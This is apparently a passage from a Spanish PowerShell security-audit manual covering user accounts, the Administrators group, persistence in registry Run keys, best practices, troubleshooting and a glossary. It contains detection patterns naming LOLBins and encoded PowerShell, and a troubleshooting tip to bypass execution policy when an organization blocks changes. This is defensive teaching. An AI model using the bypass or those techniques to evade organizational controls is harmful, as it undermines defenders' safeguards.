REQUIERE ADMINISTRADOR EXPORTABLE

¿Qué hace este comando?

Lista todas las cuentas de usuario locales del sistema con sus propiedades de seguridad. Permite detectar cuentas no autorizadas (backdoors), cuentas sin contraseña, cuentas obsoletas habilitadas, o configuraciones que violan políticas de seguridad.

Comando:

```
Get-LocalUser |  
Select-Object Name, Enabled, PasswordRequired, PasswordLastSet, LastLogon |  
Format-Table -AutoSize
```

Ejemplos de Salida:

- **[!]** Cambiar password: Administrator | Enabled: True | PasswordLastSet: 60 días
→ Cuenta admin activa pero password antiguo
- **Deshabilitar:** Guest | Enabled: True
→ Cuenta Guest habilitada
- **Crítico:** backdoor_user | Enabled: True | PasswordRequired: False
→ Cuenta sin password
- **[!]** Deshabilitar: old_employee | Enabled: True | LastLogon: Nunca
→ Cuenta habilitada no usada

Casos de Uso en Auditorías de Seguridad:

- Detectar cuentas backdoor creadas por atacantes
- Identificar cuentas sin contraseña (PasswordRequired: False)
- Verificar políticas de rotación de contraseñas
- Detectar cuentas obsoletas de ex-empleados aún activas
- Validar que cuenta Guest está deshabilitada
- Compliance: verificar cumplimiento de políticas de cuentas

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

[!] Advertencias y Consideraciones:

- Cuenta Administrator debe estar deshabilitada o con password complejo rotado regularmente
- Cuenta Guest SIEMPRE debe estar deshabilitada
- Cuentas sin LastLogon pero Enabled son sospechosas
- PasswordLastSet >90 días viola la mayoría de políticas corporativas

Cómo Exportar los Resultados:

```
Get-LocalUser |  
Select-Object Name, Enabled, PasswordRequired, PasswordLastSet, LastLogon |  
Export-Csv 'C:\Auditoria\cuentas_locales.csv' -NoTypeInfo
```

7.2 Verificación de Miembros del Grupo Administradores

REQUIERE ADMINISTRADOR EXPORTABLE

¿Qué hace este comando?

Lista todas las cuentas que tienen privilegios de administrador local en el sistema. Fundamental para aplicar el principio de mínimo privilegio y detectar escalación de privilegios no autorizada.

Comando:

```
Get-LocalGroupMember -Group 'Administrators' |  
Select-Object Name, PrincipalSource, ObjectClass
```

Ejemplos de Salida:

- **Normal: SERVIDOR\Administrator | Local | User**
→ Admin built-in
- **Normal: DOMINIO\IT-Admins | ActiveDirectory | Group**
→ Grupo de TI autorizado
- **Violación de política: SERVIDOR\usuario_regular | Local | User**
→ Usuario normal con privilegios admin
- **Escalación de privilegios: SERVIDOR\hacker_account | Local | User**
→ Cuenta desconocida

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

Casos de Uso en Auditorías de Seguridad:

- Detectar escalación de privilegios no autorizada
- Aplicar principio de mínimo privilegio
- Verificar que solo personal de IT tiene privilegios admin
- Detectar cuentas backdoor con privilegios elevados
- Compliance: validar que usuarios regulares NO son administradores

[!] Advertencias y Consideraciones:

- Minimizar número de administradores locales
- Usuarios regulares NUNCA deben ser administradores
- Usar cuentas separadas para tareas admin (user@domain vs admin@domain)
- Implementar LAPS (Local Administrator Password Solution) para gestionar passwords admin locales
- Verificar también: Remote Desktop Users, Power Users, Backup Operators

Cómo Exportar los Resultados:

```
Get-LocalGroupMember -Group 'Administrators' |  
Export-Csv 'C:\Auditoria\grupo_administradores.csv' -NoTypeInformation
```

7.3 Análisis de Claves de Registro de Inicio Automático (Persistencia)

USUARIO NORMAL EXPORTABLE

¿Qué hace este comando?

Examina las claves de registro 'Run' que controlan qué programas se ejecutan automáticamente al iniciar Windows. Malware frecuentemente usa estas claves para lograr persistencia (ejecutarse en cada reinicio). Es uno de los vectores de persistencia MÁS COMUNES.

Comando:

```
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' |  
Format-List
```

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

Ejemplos de Salida:

- **Normal: OneDrive** : 'C:\Program Files\Microsoft OneDrive\OneDrive.exe'
→ Aplicación legítima
- **Malware: Windows Update** : 'C:\Users\user\AppData\Temp\update.exe'
→ Ejecutable en carpeta temporal
- **Crítico: System Service** : 'powershell.exe -enc <base64>'
→ PowerShell codificado

Casos de Uso en Auditorías de Seguridad:

- Detectar persistencia de malware en claves Run
- Identificar entradas con nombres genéricos ('Windows Update', 'System Service')
- Verificar rutas sospechosas: %TEMP%, %APPDATA%, C:\ProgramData
- Buscar uso de rundll32, regsvr32, mshta, PowerShell en Run keys
- Baseline: comparar con lista de aplicaciones autorizadas para inicio

[!] Advertencias y Consideraciones:

- Verificar TODAS estas ubicaciones:
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
- Calcular hash de ejecutables referenciados y verificar firma digital
- Entradas con PowerShell/cmd son altamente sospechosas

Cómo Exportar los Resultados:

```
$locations = @(
    'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
    'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
)

$locations | ForEach-Object {
    Get-ItemProperty -Path $_ -ErrorAction SilentlyContinue
} | Export-Csv 'C:\Auditoria\persistencia_run_keys.csv' -NoTypeInformation
```

8. Mejores Prácticas para Auditorías de Seguridad

Seguir estas mejores prácticas garantiza que las auditorías de seguridad sean efectivas, confiables y cumplan con estándares profesionales.

CRÍTICO - 1. Obtener Autorización Antes de Ejecutar Comandos

Nunca ejecutes comandos de auditoría en sistemas de producción sin autorización expresa del responsable de TI o seguridad. Algunos comandos pueden impactar el rendimiento del sistema.

Importante - 2. Documentar Todo el Proceso

Registra: fecha/hora de la auditoría, quién la realizó, qué comandos se ejecutaron, y los hallazgos. Esta documentación es esencial para auditorías de cumplimiento y investigaciones legales.

Esencial - 3. Exportar Resultados Sistemáticamente

Siempre exporta los resultados a archivos CSV, JSON o HTML. No confíes en capturas de pantalla. Usa nombres de archivo con timestamp: auditoria_YYYYMMDD_HHMMSS.csv

Recomendado - 4. Crear Baselines de Seguridad

Ejecuta comandos en sistemas 'limpios' para crear líneas base (baselines). Compara auditorías posteriores contra estos baselines para detectar desviaciones y anomalías.

Legal/Forense - 5. Mantener Cadena de Custodia

Para evidencia forense: calcular hash SHA256 de todos los archivos exportados, incluir metadata (quién, cuándo, dónde), y almacenar en ubicación protegida contra escritura.

[!] CRÍTICO - 6. No Modificar el Sistema Durante la Auditoría

Los comandos de este manual son de SOLO LECTURA. No elimines archivos, no termines procesos, no cierres conexiones durante la fase de recopilación. Primero documenta, luego remedia.

Eficiencia - 7. Priorizar Hallazgos por Severidad

Clasifica hallazgos: CRÍTICO (requiere acción inmediata), ALTO (acción en 24h), MEDIO (planificar remediación), BAJO (monitorear). Enfócate primero en los críticos.

Análisis - 8. Validar Falsos Positivos

No todos los resultados sospechosos son maliciosos. Verifica el contexto: ¿es software corporativo legítimo? ¿herramienta de administración autorizada? Investiga antes de alarmar.

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

Correlación - 9. Correlacionar Múltiples Fuentes

No confíes en un solo comando. Correlaciona: procesos + conexiones de red + logs de eventos. Un proceso sospechoso CON conexión a IP maliciosa es más concluyente.

Educación - 10. Mantener Conocimientos Actualizados

Las técnicas de ataque evolucionan constantemente. Sigue recursos como MITRE ATT&CK, blogs de seguridad, threat intelligence feeds. Actualiza tus patrones de búsqueda regularmente.

Automatización - 11. Automatizar Auditorías Recurrentes

Crea scripts PowerShell que combinen múltiples comandos y se ejecuten automáticamente (tareas programadas). Envía reportes a SIEM o email para revisión.

Confidencialidad - 12. Proteger los Resultados de Auditoría

Los archivos de auditoría contienen información sensible (usuarios, IPs, configuraciones). Almacénalos en ubicación segura con permisos restringidos. Encripta si es necesario.

Plantilla de Reporte de Auditoría

Usa esta plantilla para documentar tus auditorías:

=== REPORTE DE AUDITORÍA DE SEGURIDAD ===

Fecha: [DD/MM/YYYY]

Hora: [HH:MM]

Auditor: [Nombre y Cargo]

Sistema Auditado: [Hostname/IP]

Sistema Operativo: [Windows 10/11/Server]

ALCANCE DE LA AUDITORÍA:

- [X] Análisis de archivos modificados
- [X] Análisis de conexiones de red
- [X] Análisis de procesos
- [X] Análisis de logs de eventos
- [X] Verificación de cuentas y permisos

HALLAZGOS CRÍTICOS:

1. [Descripción del hallazgo]
 - Severidad: CRÍTICO/ALTO/MEDIO/BAJO
 - Evidencia: [ruta del archivo de evidencia]
 - Recomendación: [acción a tomar]

2. ...

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

RESUMEN:

- Total de hallazgos: [X]
- Críticos: [X]
- Altos: [X]
- Medios: [X]
- Bajos: [X]

RECOMENDACIONES:

1. ...
2. ...

ARCHIVOS ADJUNTOS:

- [lista de archivos CSV/JSON exportados]

FIRMA DIGITAL (Hash SHA256 del reporte):

[hash del archivo del reporte]

9. Solución de Problemas Comunes

Esta sección cubre los errores más comunes al ejecutar comandos de auditoría y cómo resolverlos.

Error: 'Access Denied' o 'Acceso Denegado'

Causa: CAUSA: El comando requiere privilegios de administrador pero PowerShell se ejecutó como usuario normal.

Solución:

SOLUCIÓN:

1. Cierra PowerShell actual
2. Haz clic derecho en PowerShell y selecciona 'Ejecutar como administrador'
3. Ejecuta el comando nuevamente
4. Si persiste, verifica que tu cuenta tiene derechos de administrador local

Error: 'Get-WinEvent: No events were found'

Causa: CAUSA: El log de eventos especificado está vacío o la auditoría no está habilitada.

Solución:

SOLUCIÓN:

1. Verifica que la auditoría está habilitada: `auditpol /get /category:*`
2. Habilitar auditoría de logon fallidos: `auditpol /set /subcategory:'Logon' /failure:enable`
3. Espera a que se generen eventos (puede tardar minutos/horas)
4. Para PowerShell ScriptBlock Logging, habilitar vía GPO

Error: 'The term Get-NetTCPConnection is not recognized'

Causa: CAUSA: Versión de PowerShell antigua (<5.0) o Windows 7/8.

Solución:

SOLUCIÓN:

1. Verificar versión: `$PSVersionTable.PSVersion`
2. Si es <5.0, actualizar a PowerShell 5.1 (Windows Management Framework 5.1)
3. Como alternativa, usar: `netstat -ano` (funciona en todas las versiones)

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

Error: 'Out of Memory Exception' al analizar disco completo

Causa: CAUSA: Intentar procesar millones de archivos en memoria simultáneamente.

Solución:

SOLUCIÓN:

1. Limitar scope a directorios específicos: -Path C:\Users en lugar de C:\
2. Procesar en lotes usando pipeline y -Append al exportar
3. Aumentar memoria virtual (pagefile) si es posible
4. Ejecutar en horario no laboral para evitar impacto

Error: 'Execution of scripts is disabled on this system'

Causa: CAUSA: Política de ejecución de scripts muy restrictiva.

Solución:

SOLUCIÓN:

1. Verificar política actual: Get-ExecutionPolicy
2. Si es 'Restricted', cambiar (como admin): Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
3. NOTA: Los comandos individuales NO requieren cambiar esto, solo scripts .ps1
4. Si la organización bloquea cambios, usar: powershell -ExecutionPolicy Bypass -File script.ps1

Problema: El comando se ejecuta pero no muestra resultados

Causa: CAUSA: Filtros demasiado restrictivos o no hay datos que coincidan.

Solución:

SOLUCIÓN:

1. Ejecuta el comando SIN filtros (Where-Object) para ver si hay datos base
2. Verifica el rango de fechas: (Get-Date).AddDays(-1) puede ser muy corto
3. Elimina -ErrorAction SilentlyContinue temporalmente para ver errores
4. Usa -Verbose para ver qué está procesando el comando

Problema: El comando tarda demasiado (>30 minutos)

Causa: CAUSA: Scope demasiado amplio o disco muy lento.

Solución:

SOLUCIÓN:

1. Limitar directorios: -Path C:\Users en lugar de C:\
2. Usar -MaxEvents para limitar cantidad de logs: Get-WinEvent -MaxEvents 1000
3. Ejecutar en horario no laboral
4. Considerar usar Where-Object antes de Select-Object para filtrar temprano

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

Error: 'Export-Csv: The path is denied'

Causa: CAUSA: No tienes permisos de escritura en la carpeta destino.

Solución:

SOLUCIÓN:

1. Crear carpeta de auditoría con permisos: `New-Item -Path C:\Auditoria -ItemType Directory`
2. Usar ubicación con permisos: `C:\Users\TuUsuario\Documents` en lugar de `C:\`
3. Ejecutar PowerShell como administrador si necesitas escribir en `C:\` raíz

AYUDA ADICIONAL: Si encuentras un error no listado aquí, copia el mensaje de error completo y búscalo en Google o consulta la documentación oficial de Microsoft: docs.microsoft.com/powershell

10. Glosario de Términos Técnicos

Definiciones de términos técnicos usados en este manual, explicados de forma sencilla.

Backdoor (Puerta Trasera): Programa malicioso que permite a un atacante acceder remotamente al sistema sin autorización, evitando los mecanismos normales de autenticación.

Baseline (Línea Base): Configuración o estado conocido como seguro y correcto, que se usa como referencia para detectar cambios o desviaciones sospechosas.

Beaconing: Comunicación periódica y automatizada entre malware y su servidor de comando y control (C2) para recibir instrucciones o enviar datos robados.

Brute Force (Fuerza Bruta): Ataque que intenta adivinar contraseñas probando todas las combinaciones posibles hasta encontrar la correcta.

C2 (Command and Control): Servidor controlado por atacantes que envía instrucciones a malware instalado en sistemas comprometidos y recibe datos exfiltrados.

Credential Stuffing: Ataque que usa pares de usuario/contraseña robados de otras brechas de seguridad para intentar acceder a diferentes servicios.

Cryptominer: Malware que usa recursos del sistema (CPU/GPU) para minar criptomonedas sin autorización del propietario, causando lentitud.

DGA (Domain Generation Algorithm): Algoritmo que genera nombres de dominio aleatorios usados por malware para evadir bloqueos de dominios maliciosos conocidos.

DLL (Dynamic Link Library): Archivo que contiene código y datos que pueden ser usados por múltiples programas simultáneamente. Malware puede inyectar DLLs maliciosas.

DNS (Domain Name System): Sistema que traduce nombres de dominio (www.ejemplo.com) a direcciones IP (192.0.2.1). Puede ser abusado para exfiltración de datos.

Exfiltración de Datos: Transferencia no autorizada de datos confidenciales desde un sistema comprometido hacia servidores controlados por atacantes.

Fileless Malware: Malware que se ejecuta completamente en memoria RAM sin escribir archivos en disco, dificultando su detección por antivirus tradicionales.

Hash (Huella Digital): Valor único generado por algoritmo criptográfico que identifica unívocamente un archivo. Si el archivo cambia, el hash también cambia.

IoC (Indicator of Compromise): Evidencia técnica que indica que un sistema ha sido comprometido: IPs maliciosas, hashes de malware, dominios C2, etc.

LOLBAS (Living Off the Land Binaries): Herramientas legítimas de Windows (certutil, rundll32, wmic) usadas maliciosamente por atacantes para evadir detección.

Lateral Movement: Técnica de atacantes para moverse de un sistema comprometido a otros sistemas dentro de la red, expandiendo el acceso.

Malware: Software malicioso diseñado para dañar, robar datos, o tomar control de sistemas sin autorización: virus, troyanos, ransomware, spyware.

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

PID (Process ID): Número único que identifica cada proceso en ejecución. Permite correlacionar conexiones de red con programas específicos.

Password Spraying: Ataque que intenta un password común (Password123) contra muchas cuentas de usuario, para evitar bloqueos por intentos fallidos.

Persistencia: Técnicas de malware para ejecutarse automáticamente después de reinicios del sistema: claves Run del registro, servicios, tareas programadas.

Process Hollowing: Técnica de malware que crea un proceso legítimo suspendido, reemplaza su memoria con código malicioso, y lo reanuda.

Process Injection: Técnica que inserta código malicioso en la memoria de un proceso legítimo en ejecución para ocultar su actividad.

RAT (Remote Access Trojan): Troyano que permite a atacantes controlar remotamente el sistema comprometido: ver pantalla, ejecutar comandos, robar archivos.

Ransomware: Malware que encripta archivos del sistema y exige pago de rescate para recuperar el acceso a los datos.

Rootkit: Malware diseñado para ocultar su presencia y la de otros programas maliciosos, modificando el sistema operativo a bajo nivel.

SHA256: Algoritmo criptográfico que genera hash de 256 bits. Es el estándar recomendado para verificación de integridad de archivos.

SIEM (Security Information and Event Management): Sistema centralizado que recopila, analiza y correlaciona logs de múltiples fuentes para detectar amenazas de seguridad.

TTP (Tactics, Techniques, Procedures): Patrones de comportamiento de atacantes: tácticas (objetivos), técnicas (métodos), procedimientos (pasos específicos).

Threat Hunting: Búsqueda proactiva de amenazas en el sistema, asumiendo que puede haber un compromiso no detectado por herramientas automáticas.

Threat Intelligence: Información sobre amenazas actuales: IPs maliciosas, dominios C2, hashes de malware, TTPs de grupos de atacantes.

Typosquatting: Técnica de malware que usa nombres similares a procesos legítimos: svch0st.exe en lugar de svchost.exe.

Webshell: Script malicioso cargado en servidor web comprometido que permite a atacantes ejecutar comandos remotamente vía navegador.